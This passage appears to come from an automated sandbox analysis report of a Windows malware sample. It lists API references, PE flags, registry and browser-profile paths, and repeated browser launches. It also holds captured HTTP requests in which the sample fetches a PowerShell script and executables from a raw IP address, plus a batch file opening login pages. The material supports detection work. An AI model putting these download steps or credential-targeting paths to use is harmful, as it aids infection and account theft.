"00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00000236.00000001.76476.72855000.00000002.mdmp")3d:T7eb,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp")3e:T46f,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")3f:T4db,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") file/memory contains long string with (Indicator: "OpenProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")40:T8ee,"pNUNUVkvaKFYhDc.exe" contains export function called "_NotificationNode@0" at ordinal 1 "4iO097Yk.exe" contains export function called "_NotificationNode@0" at ordinal 1 "2Oo2948.exe" contains export function called "_NotificationNode@0" at ordinal 1 "sus.exe" contains export function called "_NotificationNode@0" at ordinal 1 "3CC98ik.exe" contains export function called "_NotificationNode@0" at ordinal 1 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_aggregate_context" at ordinal 1 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_aggregate_count" at ordinal 2 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_auto_extension" at ordinal 3 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_backup_finish" at ordinal 4 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_backup_init" at ordinal 5 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_backup_pagecount" at ordinal 6 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_backup_remaining" at ordinal 7 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_backup_step" at ordinal 8 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_blob" at ordinal 9 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_blob64" at ordinal 10 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_double" at ordinal 11 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_int" at ordinal 12 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_int64" at ordinal 13 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_null" at ordinal 14 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_parameter_count" at ordinal 15 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_parameter_index" at ordinal 16 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_parameter_name" at ordinal 17 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_pointer" at ordinal 18 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_text" at ordinal 19 "aPXj3QNJzkKIKoxT.dll" contains export function called "sqlite3_bind_text16" at ordinal 2041:T5e2,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe "DSystem\CurrentControlSet\Control\Session Manager" in Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe "System\CurrentControlSet\Control\Session Manager" in Source: 7568-17-0040256D "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00007348-00000C28-7333451621 "%APPDATA%\Opera Software\Opera Stable\*" in Source: 00000000-00007348-00000C28-7334599639 "%LOCALAPPDATA%\Opera Software\*" in Source: 00000000-00007348-00000C28-29121093378 "SOFTWARE\Policies\Microsoft" in Source: 00000000-00000236.00000001.76476.725C1000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00000236.00000001.76476.725C1000.00000020.mdmp "HKLM\" in Source: 00000000-00000236.00000001.76476.725C1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00000236.00000001.76476.725C1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000236.00000001.76476.725C1000.00000020.mdmp42:T439,Found reference to API "OpenSCManager" (Indicator: "OpenSCManager"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "OpenSCManagerW" (Indicator: "OpenSCManager"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp, 00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API ",3175,,OpenSCManagerW,advapi" (Indicator: "OpenSCManager"; Source: "00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "QueryServiceStatus" (Indicator: "QueryServiceStatus"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")43:Ta77,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "go3wz13.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "foto3553.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pNUNUVkvaKFYhDc.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4iO097Yk.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2Oo2948.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sus.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3CC98ik.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "KN5EZ95.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "aPXj3QNJzkKIKoxT.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ny1qE70.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1eP24vr0.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "91NL8LQzC2Bqri4.exe.bin" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ZtBZcoNCoY6ikF1.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "WREQ0KOSK9O5sPY.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip64_1_.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT44:T73a,Observed unmanaged function "DwmIsCompositionEnabled" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "BitBlt" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "CreateRoundRectRgn" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "PathCompactPath" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "ClientToScreen" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "CreateWindowEx" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "DestroyWindow" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "DrawMenuBar" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "FindWindow" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetClassName" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetClientRect" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetCursorPos" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetDCEx" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetMonitorInfo" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetScrollInfo" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetSystemMenu" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetWindowDC" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetWindowLong" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetWindowRect" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "GetWindowText" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "InsertMenu" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "InsertMenuItem" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "MonitorFromWindow" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "RegisterHotKey" in "91NL8LQzC2Bqri4.exe.bin" Observed unmanaged function "ReleaseCapture" in "91NL8LQzC2Bqri4.exe.bin"45:Tfa5,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found string "@shift /0start "" https://accounts.google.comstart "" https://www.facebook.com/login" (Indicator: "facebook.com"; File: "F12A.bat") file/memory contains long string with (Indicator: "facebook.com"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: "facebook.com"; File: "49d0896e54e4faca_0") file/memory contains long string with (Indicator: "facebook.com"; File: "33844b534d0900f7_0") file/memory contains long string with (Indicator: "facebook.com"; File: "196d06a048ede516_0") file/memory contains long string with (Indicator: "facebook.com"; File: "4945a7b4b1e84510_0") file/memory contains long string with (Indicator: "facebook.com"; File: "b90ad074041b8532_0") file/memory contains long string with (Indicator: "facebook.com"; File: "b2be3cbeb9be83fe_0") file/memory contains long string with (Indicator: "facebook.com"; File: "40701b42ebc1cb18_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3i7M54/yw/l/en_US/XcDw7EbXxh2.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/DCCC02EDB3E28D6A7069754F58AD25B7510C5608CE434F4EEDC38F837D10F774" (Indicator: "facebook.com"; File: "b82f7a3c7717deae_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3iqES4/y3/l/en_US/Mrfpd_OhKdt.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/6835B7BC806D34B3F7155725B6ED0E63B6670A39F1426419D9CDD35C9BF6D3F4>gh)<[" (Indicator: "facebook.com"; File: "d3a8aa03cdda30dd_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/7E764B9F3487443194862A2C00B04376511CFDB1F20FD91F9C84C5179E44D3C2" (Indicator: "facebook.com"; File: "ef0d38d159e5de45_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yE/r/dZPMFj3nPTC.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/B3DF43794E70152982753BFDD0DF0D40E65B53B7622274BB15C66BF08CF70AC1k<7+)" (Indicator: "facebook.com"; File: "f7b69c1ee8c2c1e5_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/y4/r/Fz2Db744R_p.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/2CA1760FAD0EEA2EE9FD9AE793CA1CDCBD60329AB637802FE12E9A2A40853C50Q" (Indicator: "facebook.com"; File: "5a5eababf1b02419_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/y0/r/lo85HUm3JvU.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/987087ED9B36B51AF6049BE9A10C016F02E60CBDEB673BB7EE71E271CB6D5E80" (Indicator: "facebook.com"; File: "9cc335c1bba319e7_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/y4/r/Jga1OTQHsy4.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/9BF5557AC5A0488C2CD81AB9F928AC13BA052C2F6790500C8DCF74A51F497A4C" (Indicator: "facebook.com"; File: "53329d34bdb2bbd5_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/ya/r/VE50Ak15pC2.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/2270DEBC218145D48677C729D7016D3559215896E554C89DD534516082938D2F8" (Indicator: "facebook.com"; File: "2d5e60485d3cc52e_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yb/r/8ZU4_G4j_iT.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/1DEB5F686D39F2F0DB31ED604BDFEB4D0A0A0D97889F0E5D5113EC93D4726EDC" (Indicator: "facebook.com"; File: "32b93bb309c4f1d6_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/60C31F5D37F05D1DA31FA43D3D715D9F3DEF34EE1CDCA9F61C06B4E25670A3F9" (Indicator: "facebook.com"; File: "42f4c516cc7fb026_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yl/r/91eSXE1Xt1o.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/98A90C9AF6564E058303AE9717FE305BE1BA34D49D61309CF12774ED093DD8E93HASdv" (Indicator: "facebook.com"; File: "5949b3541284f461_0") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "start "" https://www.facebook.com/login" (Indicator: "facebook.com"; File: "F12A.bat")46:T53a,"GET /fuza/2.ps1 HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Fri 13 Oct 2023 17:21:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed 11 Oct 2023 23:22:56 GMT ETag: "a9-607791a731681" Accept-Ranges: bytes Content-Length: 169 with response body ==>2469655F70726F63696E666F203D2053746172742D50726F6365737320696578706C6F7265202D417267756D656E744C697374202768747470733A2F2F616363....... "GET /fuza/sus.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Fri 13 Oct 2023 17:21:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri 13 Oct 2023 12:49:53 GMT ETag: "f3508-607987e269c4e" Accept-Ranges: bytes Content-Length: 996616 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F8000000....... "GET /fuza/foto3553.exe HTTP/1.1 Host: 77.91.68.52" Response ==> HTTP/1.1 200 OK Date: Fri 13 Oct 2023 17:21:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri 13 Oct 2023 17:14:41 GMT ETag: "140e00-6079c312a152a" Accept-Ranges: bytes Content-Length: 1314304 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000.......47:T45e,Launches browser "msedge.exe" (UID: 00000000-00003748) Launches browser "msedge.exe" (UID: 00000000-00007228) Launches browser "msedge.exe" (UID: 00000000-00004620) Launches browser "msedge.exe" (UID: 00000000-00004880) Launches browser "msedge.exe" (UID: 00000000-00004992) Launches browser "msedge.exe" (UID: 00000000-00005716) Launches browser "msedge.exe" (UID: 00000000-00005744) Launches browser "msedge.exe" (UID: 00000000-00006264) Launches browser "msedge.exe" (UID: 00000000-00003140) Launches browser "msedge.exe" (UID: 00000000-00004164) Launches browser "msedge.exe" (UID: 00000000-00007616) Launches browser "msedge.exe" (UID: 00000000-00006792) Launches browser "msedge.exe" (UID: 00000000-00007484) Launches browser "msedge.exe" (UID: 00000000-00003596) Launches browser "msedge.exe" (UID: 00000000-00005912) Launches browser "msedge.exe" (UID: 00000000-00006080) Launches browser "msedge.exe" (UID: 00000000-00006008) Launches browser "msedge.exe" (UID: 00000000-00006540) Launches browser "msedge.exe" (UID: 00000000-00002332) Launches browser "msedge.exe" (UID: 00000000-00007656)48:T658,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "go3wz13.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "go3wz13.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "KN5EZ95.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "KN5EZ95.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "ny1qE70.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "ny1qE70.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 "1eP24vr0.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 77440000 "1eP24vr0.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 732A0000 